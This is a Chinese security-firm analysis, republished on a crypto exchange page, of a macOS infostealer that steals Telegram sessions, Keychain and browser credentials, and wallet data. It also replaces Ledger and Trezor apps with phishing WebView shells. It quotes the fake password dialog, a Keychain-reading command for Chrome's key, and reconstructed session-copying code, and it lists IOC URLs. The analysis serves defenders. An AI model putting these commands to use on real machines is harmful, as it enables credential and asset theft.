TG 账号失守、钱包被调包,macOS 木马如何突破防线?

By: rootdata|2026/07/15 13:39:07

macOS 窃密木马窃取 TG 会话与钱包数据,还替换硬件钱包客户端实施双重资产窃取攻击。


撰文:慢雾安全团队


背景


近日,MistEye 安全监控系统捕获了一款运行在 macOS 上的窃密木马。慢雾安全团队随即展开了分析。


从窃取列表看,该样本像是在进行一次没有重点的数据搜刮:macOS Keychain、Safari Cookie、Apple Notes、Telegram Desktop 本地数据,以及十余种数字钱包的数据库,均被列入目标范围。


在前文《Google Sites 社群申请钓鱼与 macOS 窃密木马分析》 中,我们回答了「木马偷了什么」。但文件被复制并不等于账号已经失守,钱包数据库被带走也不意味着助记词已经泄露。因此,本文进一步追问:


这些文件被偷走以后,真的能转化成账号和资产控制权吗?


我们在隔离环境中沿着样本留下的路径进行复现。先把样本复制出的 Telegram Desktop 会话文件恢复到一台版本兼容的 Mac 上,再启动客户端。


登录界面没有出现。


没有要求输入手机号,没有发送验证码,也没有要求输入 Telegram 二次验证密码。客户端直接恢复了原来的账号状态,并开始同步聊天记录。


这一步让攻击链第一次从「静态文件」变成了可以观察到的结果:攻击者搬走的不是一份普通配置,而是一张已经通过认证的本地通行证。


随后,我们又验证了另一条路径:钱包数据库和候选密码可以在离线环境中汇合;样本同时还会删除用户原本安装的钱包客户端,换上一个套着正版名称和图标的远程网页外壳。


这些看似分散的功能,最终串成了一条完整的接管链:


1.先收集密码、解锁材料和已有登录态;

2.搬走 Telegram Desktop 已经授权的本地会话;

3.复制钱包数据库和浏览器钱包扩展状态;

4.在攻击者自己的环境中尝试离线解密;

5.同时删除正版钱包,换成远程 WebView 应用,诱导用户主动提交助记词。


本文基于主样本静态分析报告、三个钱包替换包的静态分析报告、分析员根据反汇编还原的等价逻辑,以及用于离线取证验证的 LevelDB 辅助材料。


第 1 步:收集密码与解锁材料


Telegram 会话能够被直接恢复,并不是因为攻击者破解了 Telegram 的密码。钱包数据库能够被尝试解密,也不是因为钱包软件没有加密。


攻击者首先要做的,是尽可能多地收集密码、解锁材料和仍然有效的登录态。Keychain、浏览器数据库、Apple Notes 和伪装密码弹窗,都是这一步的组成部分。


钓鱼密码弹窗:


样本会弹出一个伪装成 Google API connector 更新的密码对话框:


set passwen to display dialog "GAPI_Update requires administrator access to update Google API connector. Enter your password to allow this." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Password Request" with hidden answer text returned of passwen


它并不是把输入框里的内容原样收集后就结束。样本随后使用 macOS 的 dscl 命令校验这个密码是否真的能通过本机认证:


dscl . authonly '<当前用户名>' '<候选密码>'



也就是说,样本试图确认用户输入的是本机登录口令,而不是一个随手输入的字符串。校验通过后,这个密码可以继续用于后续的权限提升、应用删除等操作。


收集浏览器与 Keychain 凭据:


与此同时,样本尝试从 Keychain 中读取 Chrome Safe Storage 密钥:


security find-generic-password -ga "Chrome"2>&1 >/dev/null | sed -n 's/^password: "(.*)"/\1/p'


结果写入暂存文件 masterpass-chrome。Chrome Safe Storage 可以理解为浏览器保存在 macOS Keychain 中的一把解密钥匙。有了它,攻击者就能把 Chrome 的加密登录数据和 Cookie 一并带走,在自己的环境中进一步分析。


样本的浏览器收集范围覆盖 Chrome、Brave、Edge、Vivaldi、Opera 等 Chromium 内核浏览器,目标文件包括 Login Data、Cookies、Web Data、formhistory.sqlite 等;对 Firefox 等浏览器,则会关注 logins.json、key4.db 和 Cookie 数据。


样本还会定位并收集:


Keychains/login.keychain-db

Group Containers/group.com.apple.notes/NoteStore.sqlite


Notes 中是否实际保存了密码、钱包助记词、Telegram Passcode 或恢复码,取决于用户自己的记录。但代码层面已经存在读取账户和正文内容的能力。


因此,攻击者在这一阶段得到的并不是一个单独的密码,而是一批可以互相补充的材料:


  • 直接密码输入:伪装对话框中获取的 macOS 登录密码;
  • 解锁材料:Keychain、Chrome Safe Storage 和浏览器加密数据库;
  • 凭据等价物:Cookie、Notes 内容,以及后续会话和钱包数据。

这些材料单独看未必足以接管账号或钱包,但它们为后面的「会话搬家」和「离线解密」准备了钥匙。


第 2 步:搬走 Telegram 会话


定位 tdata 会话目录:


样本针对的不是 Telegram 网页版或移动端,而是 Telegram Desktop 桌面客户端。它会定位:


~/Library/Application Support/Telegram Desktop/tdata/


这里的 tdata,可以简单理解为 Telegram Desktop 为了保持登录状态而保存在本机的一组会话数据。


样本会复制其中与密钥、配置和会话状态有关的文件,包括:


  • key_datas:与本地 tdata 密钥或配置有关;
  • <name>s:与本地会话状态有关;
  • <name>/maps:会话数据映射的一部分。

根据还原的等价逻辑,样本先复制 key_datas,再遍历目录,寻找成对的会话文件,并把相关数据写入暂存目录:


std::string src = app_support + "Telegram Desktop/tdata/";std::string dst = staging + "tg/";

copy_file(src + "key_datas", dst + "key_datas");

std::vector<std::string> names = list_directory_names(src);for (conststd::string& name : names) {if (contains(names, name + "s")) { copy_file(src + name + "s", dst + name + "s"); copy_file(src + name + "/maps", dst + name + "/maps"); }}


这不是「搜索几个 Telegram 文件名」,而是一条明确的会话文件复制链。复制完成后,主流程会把暂存目录压缩并上传。


恢复会话,绕过登录:


为了验证这些文件被外传后的实际风险,我们在隔离环境中准备了版本兼容的 Telegram Desktop(macOS 12.7 / Telegram Desktop 4.16),并将样本窃取的关键文件恢复到对应位置。


测试使用未绑定真实资产的测试账号,账号开启了 Telegram 2FA(双因素认证),但没有开启 Telegram Desktop Passcode。


恢复文件并启动客户端后,登录流程没有出现:


  • 不需要输入手机号;
  • 不需要短信验证码;
  • 不需要 Telegram 二次验证密码。

客户端直接恢复了原有账号的登录状态,随后开始同步聊天记录。



这意味着攻击者需要的不是一次新的账号授权,而是一份仍然有效的本地会话。


它偷走的不是登录密码,而是一张已经通过检查的「通行证」。


复用会话 vs 破解 2FA:


这里需要区分「绕过 2FA」和「复用既有会话」。


Telegram 的二次验证主要保护新的账号授权流程。当攻击者直接恢复已经授权的本地会话材料时,客户端不会重新执行手机号、验证码和二次验证密码的完整认证流程。


因此,更准确的说法是:攻击者复用了已经完成授权的本地会话,所以没有重新触发 2FA。这并不意味着 Telegram 的 2FA 密码被破解,而是整个复用过程根本没有进入需要验证该密码的环节。


用户未必能立即发现异常:


在本次测试条件下,复制后的会话在设备列表中没有稳定表现为一条清晰、独立的新增设备授权记录。这意味着,即使用户主动检查已登录设备,也未必能马上意识到本地会话数据已经被复制。



当原设备和复现设备长时间并发使用时,服务端可能使其中一端的会话失效并要求重新登录。但在较短、间歇性的访问测试中,会话没有立即被强制终止。



服务端的异常检测可以缩短部分被盗会话的存活时间,但不能替代对本地 tdata 数据的保护。


如果 Telegram Desktop 开启了 Passcode,恢复会话后攻击者仍可能被要求输入这个密码。这确实能增加一层保护,但这款木马同时收集 Keychain、Apple Notes 和浏览器数据。如果用户曾在这些位置记录 Telegram Passcode,或者在多个应用之间复用了密码,这道保护仍可能被突破。


tdata 可进一步转换为 API 会话:


除了上述方式,我们还发现,拿到 Telegram 的 tdata 后,可以结合 opentele、Telethon、已授权的 AuthKey 和官方客户端 API 参数,将本地登录态转换为可编程的 Telegram API 会话,用于读取对话、历史消息和发送消息。测试表明,脚本可以采用短时、间歇性连接,不必长期保持在线,从而降低立即触发异常登出的风险。由于复用的是原有授权,不会产生新的设备登录,登录设备列表中也不会出现清晰、独立的新设备记录,用户仅通过检查登录设备难以及时发现异常。



Telegram for macOS 同样存在会话复用风险:


上述分析针对的是 Telegram Desktop(基于 Qt 的跨平台桌面客户端)。但 Telegram 在 macOS 上还提供了另一个渠道的原生客户端------Telegram for macOS(通过 App Store 或官网独立下载的 Swift 原生版本)。对该版本的测试表明,其本地会话文件同样可以被复制并在另一台 Mac 上直接恢复登录状态:无需手机号、验证码或二次验证密码即可进入账号,且登录设备列表中不会出现代表复现设备的新增记录。


除此之外,Telegram for macOS 在安全机制响应方面与 Telegram Desktop 存在一个值得注意的差异:当服务端检测到异常登录行为后,Telegram for macOS 并不会像 Desktop 版本那样被强制退出登录并清除本地数据。在我们的测试中,被安全机制标记后的客户端虽然无法发送新消息或接收新消息,但仍能保持界面打开状态,攻击者可以借此继续查看和翻阅本地已有的历史聊天记录。也就是说,即使服务端已经做出反应,此前缓存的历史消息仍然可以被完整回溯,而不会被强制退出阻断。



这意味着,在这一攻击场景下,macOS 原生客户端不仅无法通过「新增登录设备」这一常规维度被用户感知,且在服务端检测到异常之后,历史聊天记录仍然暴露在外------攻击者虽然失去了实时收发消息的能力,但已缓存的历史内容仍可被完整阅读。


到这里,Telegram 部分的路径已经清楚:无论是 Telegram Desktop 还是 Telegram for macOS,攻击者都不需要重新登录账号,只需要把一份已经完成授权的本地会话,从受害者的 Mac 搬到自己的环境中。


-- 价格

--

第 3 步:窃取钱包数据


Telegram 会话可以直接复用,钱包数据库则通常还隔着一层加密。样本的做法是先尽可能多地复制钱包数据,为后续分析留下空间。


16 种钱包全量覆盖:


样本会搜索 16 种本地钱包或钱包管理客户端,涵盖软件钱包、Core 类全节点客户端,以及硬件钱包的配套管理程序:


  • 软件钱包:Electrum、Coinomi、Exodus、Atomic、Wasabi、Monero、Electrum LTC、Electron Cash、Guarda、Sparrow;
  • Core 类客户端:Bitcoin Core、Litecoin Core、Dash Core、Dogecoin Core;
  • 硬件钱包配套客户端:Ledger Live、Trezor Suite。

不同钱包的数据目录、数据库格式和加密方式并不相同,但样本采用的基本策略一致:定位目录,复制钱包数据库和配置文件,打包外传,在攻击者自己的环境中继续分析。


复制时,样本会跳过 Cache、Code Cache、Crashpad、journals、media、calls 等缓存和噪声目录,优先保留账户和钱包状态数据。


这带来一个容易被低估的后果:即使钱包数据处于加密状态,只要完整数据库已经外传,攻击者就可以脱离受害者设备,反复尝试解密。受害者关闭钱包、断开网络,甚至删除木马,都无法收回已经被复制的数据。


浏览器扩展收集:


桌面钱包之外,样本还会扫描 Chrome、Brave、Edge、Vivaldi、Opera 等十余种 Chromium 内核浏览器的配置目录。


它会针对每个浏览器的 Default 或 Profile 目录,收集 Cookie、登录数据、网页表单数据,以及本地扩展存储和 IndexedDB 数据。样本内置了 223 个钱包相关扩展 ID,用来筛选并复制加密钱包扩展的本地存储。


这些数据不等于明文助记词,但其中可能包含钱包 Vault、账户配置、授权状态和浏览器登录材料,可用于离线分析、状态迁移和后续定向钓鱼。


到这里,攻击者手里已经有了两类关键材料:一边是加密的钱包数据库,另一边是从系统、浏览器和 Notes 中收集到的候选密码。下一步,就是看这两类材料能不能拼在一起。


第 4 步:离线解密钱包


以 Atomic Wallet 为例:


我们选择 Atomic Wallet 做本地复现。样本会复制 Atomic Wallet 的 LevelDB 本地存储目录。LevelDB 是一种常见的本地数据库格式,钱包会把账户状态和敏感数据保存在其中。


该目录中的数据使用 AES-256-CBC 加密,解密需要钱包密码。



因此,单独拿到一份 LevelDB 文件,并不意味着攻击者已经拿到了明文助记词。钱包密码仍然是数据库和敏感数据之间的一道门。


但这道门需要放进整条攻击链中观察。


多源密码逐一尝试:


在隔离测试环境中(Atomic Wallet 2.70),我们恢复了样本复制出的 LevelDB 数据,并将木马从 Keychain、浏览器密码管理器、Apple Notes 等位置收集到的候选密码逐一用于解密。


最终,候选密码成功解出了包含资产控制材料的数据。



这一步揭示了样本最危险的地方:攻击者不一定需要寻找钱包软件本身的加密漏洞,也不需要在受害者电脑上实时尝试密码。


它只需要同时带走两样东西:一份加密的钱包数据库,以及一批可能属于用户的密码。数据库像一个被搬走的保险箱,候选密码则是一串来源复杂的备用钥匙。攻击者可以在不受时间限制的离线环境中逐一验证。


私钥外传后不可撤销:


一旦私钥、助记词或等价的资产控制材料被恢复,风险就不再局限于某款钱包客户端。攻击者可以在另一款兼容钱包中恢复同一组地址,并获得相应资产的控制权。


此时,修改应用密码、重新安装客户端,甚至删除本地钱包文件,都无法使已经外传的私钥或助记词失效。


到这里,钱包数据的离线解密路径已经清楚。但样本并没有止步于此------对于几个高价值目标,它还部署了另一条并行的攻击路径。


第 5 步:替换钱包应用


下载恶意 ZIP 替换应用:


在主样本中,我们发现了一组与普通文件窃取明显不同的操作:木马会从远程服务器下载三个 ZIP 包到 /tmp 目录,同时删除用户原本安装的 Ledger Live、Ledger Wallet 和 Trezor Suite。



主样本中的 swap_app() 函数执行完整替换流程:用 curl 下载压缩包,用 pkill 结束正在运行的钱包进程,再用 rm -rf 删除原应用,必要时通过 sudo 提权,最后使用 ditto 将压缩包解压到 /Applications。


替换包只是网页加载器:


从文件名和图标看,这些 ZIP 包似乎分别对应三款正版钱包客户端。但逆向分析显示,它们没有实现真正的钱包功能。


三个替换程序的核心执行流程高度相似:读取隐藏配置,用 XOR 解密远程路由,拼接完整 URL,创建一个启用 JavaScript 的 WKWebView,再加载攻击者控制的远程页面。


WKWebView 可以理解为嵌在桌面应用里的网页窗口。它能让远端网页覆盖应用界面,却不必以浏览器标签页的形式出现。


静态分析确认,替换包启用了 JavaScript 和持久化数据存储,但没有发现 Ledger 或 Trezor 的真实业务实现:没有 USB/HID 通信、没有硬件设备枚举、没有 BIP39/BIP32 密钥派生,也没有交易构造或本地签名。


换句话说,这些程序不是被修改过的钱包客户端,而是套着钱包名称和图标的网页加载器。


三个替换应用最终加载的远程地址为:



Ledger Live 和 Ledger Wallet 指向相同的 /ledger 路由,Trezor Suite 则加载 /trezor 路由。远程页面意味着,攻击者无需重新发布本地应用,就可以随时修改页面内容、交互文案和数据提交逻辑。


桌面图标背后的钓鱼页面:


当用户启动这些替换后的「钱包」应用时,远程页面可以伪装成钱包恢复、验证或初始化流程,引导用户输入助记词、PIN、passphrase 或其他恢复材料。



对普通用户来说,这比传统钓鱼网页更难识别。页面不是出现在浏览器标签页里,而是出现在一个安装于 /Applications 目录、拥有熟悉名称和图标的桌面应用中。


用户可能以为这是钱包升级后的验证流程,也可能以为自己正在按照官方指引恢复账户。


如果用户在这个远程页面中提交了助记词,攻击者得到的就不再是某一个应用的临时访问权限,而是钱包资产的最高控制凭据。


离线解密是在已经存在的数据中寻找助记词;替换应用,则是诱导用户亲手把助记词输入进来。两条路径并行运作,互不依赖。


攻击链全景


回看最初那份窃取列表,Keychain、Cookie、Notes、Telegram 和钱包文件似乎是彼此独立的目标。复现之后,它们之间的关系变得清晰起来:


  • Keychain、浏览器和 Notes 提供密码、Passcode 及其他解锁材料;
  • Safari Cookie 可能提供仍然有效的 Web 登录会话;
  • Telegram tdata 提供已经完成授权的账号会话;
  • 钱包数据库 提供可以被带走、复制和离线分析的加密数据;
  • 替换后的 Ledger 与 Trezor 应用 则从另一条独立路径,把用户引向远程钓鱼页面。

每一个模块单独看,都像是常见的窃密行为。真正危险的地方,在于样本可以把这些材料组合起来。


对 Telegram 来说,攻击者绕开的不是密码强度,而是重新认证本身。对本地钱包来说,攻击者利用的是加密数据和密码材料被同时窃取。对 Ledger 和 Trezor 来说,攻击者甚至不再尝试破解已有数据,而是通过替换客户端,重新定义用户眼中的「可信界面」。


攻击者真正需要的,往往不是某一个密码,而是已授权会话、加密数据和解锁材料同时落入手中。


总结


这款木马偷走的不是几个孤立的密码或文件,而是用户在一台 Mac 上逐渐建立起来的整套本地信任关系:已经登录的会话、保存过的密码、加密的钱包,以及用户对桌面应用本身的信任。


当这些东西同时离开设备,从信息泄露到账号接管,再到数字资产失窃,中间只差一次成功的数据组合。


双路径钱包攻击。 样本为钱包资产准备了两条互为备份的路径:第一条是窃取钱包数据库和候选密码,进行离线解密;第二条是替换硬件钱包客户端,加载远程页面,诱导用户主动提交助记词。两条路径并行运作,分别覆盖「被动窃取」和「主动诱导」。


会话复用,而不是密码破解。攻击者直接复制已经授权的本地会话文件,在新的环境中恢复登录态,全程不触发重新认证流程。


多源凭据组合利用。 样本不依赖单一来源的密码,而是从 Keychain、浏览器密码管理器、Apple Notes 和伪装对话框等多个渠道收集候选密码,提高离线解密钱包数据库的机会。


建议


  1. 发现主机可能感染后,应在可信设备上立即终止所有现有 Telegram 会话,重新建立可信登录状态,并修改 Telegram 二次验证密码和 Passcode。仅修改 2FA 密码未必能立即使已经复制的本地会话失效。

  1. 一旦钱包数据库或私钥材料可能泄露,应在干净设备或可信硬件钱包上生成全新的助记词,将资产尽快迁移至新地址,并停止使用旧助记词。仅修改钱包应用密码无法使已泄露的私钥或助记词失效。

  1. 轮换 Keychain、Apple Notes 及浏览器中保存或复用过的所有密码,重点关注邮箱、交易所、云盘、密码管理器和社交账号,并注销这些服务中的既有登录会话。

  1. 对于可能被删除并替换过的 Ledger 或 Trezor 客户端,应先删除可疑应用,检查代码签名和安装来源,排查相关持久化项(如 LaunchDaemon),再从官方可信渠道重新获取安装包。如果在替换后的应用中输入过助记词,应立即按助记词已泄露处理。

  1. 对于不常使用的 Telegram 客户端(如仅在特定设备上安装但长期不打开的 Desktop 或 macOS 原生客户端),应定期检查其登录状态,或主动终止不再需要的会话。由于这类客户端使用频率低,即使登录态被盗取并在攻击者环境中恢复,用户也难以及时发现异常------服务端的安全检测通常依赖活跃会话的行为模式变化,对于长时间处于静默状态的客户端,异常登录更难被自动识别。一旦被盗,攻击者可能长期保持对该账号的静默控制,持续读取新消息而不触发任何告警。

  1. 日常使用中,应为 Telegram 启用 Passcode,并设置一个与其他密码不同的高强度密码,避免使用弱密码,以此增强本地会话的防护。

IOC


IP


192[.]253[.]248[.]181

86[.]54[.]25[.]213


URL


http[://192[.]253[.]248[.]181/web/ledger.zip

http[://192[.]253[.]248[.]181/web/ledgerwallet.zip

http[://192[.]253[.]248[.]181/web/trezor.zip

http[://86[.]54[.]25[.]213/ledger?username=night

http[://86[.]54[.]25[.]213/trezor?username=night

http[://86[.]54[.]25[.]213/log


恶意文件


filename: ledger.zip

SHA256: 41d77fef030b8515efb068defed5e15c14fbebd16259253f1f79febd6e12ebcb


filename: ledgerwallet.zip

SHA256: 36f4ae11560ed34f32c927468a09a5370a5fbdcae41660f6e8d9a49330c8d059


filename: trezor.zip

SHA256: 60f33e7b8c6b84839e28c710c8c5a99a718c0b88135653561be8d45f976b794f

免责声明:本内容仅用于一般品牌传播与信息说明之目的,不构成任何金融、投资、法律或税务建议。文中提及的活动、奖励、线上活动或相关信息,不应被视为对购买、出售、交易任何加密资产,或使用任何服务的推荐、招揽或邀请。加密资产具有高波动性,并存在价值损失风险。WEEX 服务及线上活动的可用性可能因地区而异,并受当地适用法律法规及用户资格要求限制。部分活动可能不适用于某些司法辖区。您有责任确保访问及使用 WEEX 服务符合当地适用法律法规。在参与任何涉及加密资产的活动前,请充分评估相关风险。

猜你喜欢

iconiconiconiconiconicon
客户服务:@weikecs
商务合作:@weikecs
量化做市商合作:[email protected]